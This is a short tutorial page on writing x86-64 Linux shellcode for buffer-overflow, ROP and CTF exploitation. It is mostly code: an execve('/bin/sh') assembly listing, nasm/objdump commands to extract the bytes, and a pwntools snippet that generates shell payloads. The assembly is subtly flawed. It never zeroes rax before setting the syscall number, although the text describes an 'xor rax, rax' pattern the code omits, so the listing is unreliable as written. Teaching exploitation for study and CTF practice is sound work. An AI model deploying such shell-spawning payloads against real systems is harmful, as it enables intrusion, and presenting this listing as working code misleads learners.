Skip to main content

56. Shellcode Writing Basics — From Assembly to Bytes

Shellcode is a raw sequence of machine-code bytes intended to execute while exploiting a vulnerability. It is inserted as a payload in a buffer overflow or ROP chain and is also a recurring CTF subject.

Simplest Example: execve("/bin/sh")

Minimal shellcode for x86-64 Linux:

xor rdi, rdi ; rdi = NULL
push rdi
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (little-endian)
push rdi
mov rdi, rsp ; rdi → "/bin//sh"
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
mov al, 59 ; syscall: execve
syscall

Compile it with nasm, then extract the bytes with objdump:

nasm -f elf64 shell.asm -o shell.o
objdump -d shell.o | grep -Po '(?<=:\t)([0-9a-f]{2} )+'

Avoiding Null Bytes

Functions in the strcpy family stop copying at \x00. The xor rax, rax pattern zeros a register without introducing a null byte.

Practice Tools

  • pwntools — Automatically generate shellcode with shellcraft.sh()
  • msfvenom — Avoid bad bytes using various encoders
  • shellcraft + flat() — One-line payloads
from pwn import *
context(arch='amd64', os='linux')
print(shellcraft.sh())
payload = flat(asm(shellcraft.sh()))

The keys to shellcode writing are memorizing syscall numbers, avoiding bad bytes, and minimizing size. If you get stuck here, start by analyzing the syscall flow with strace.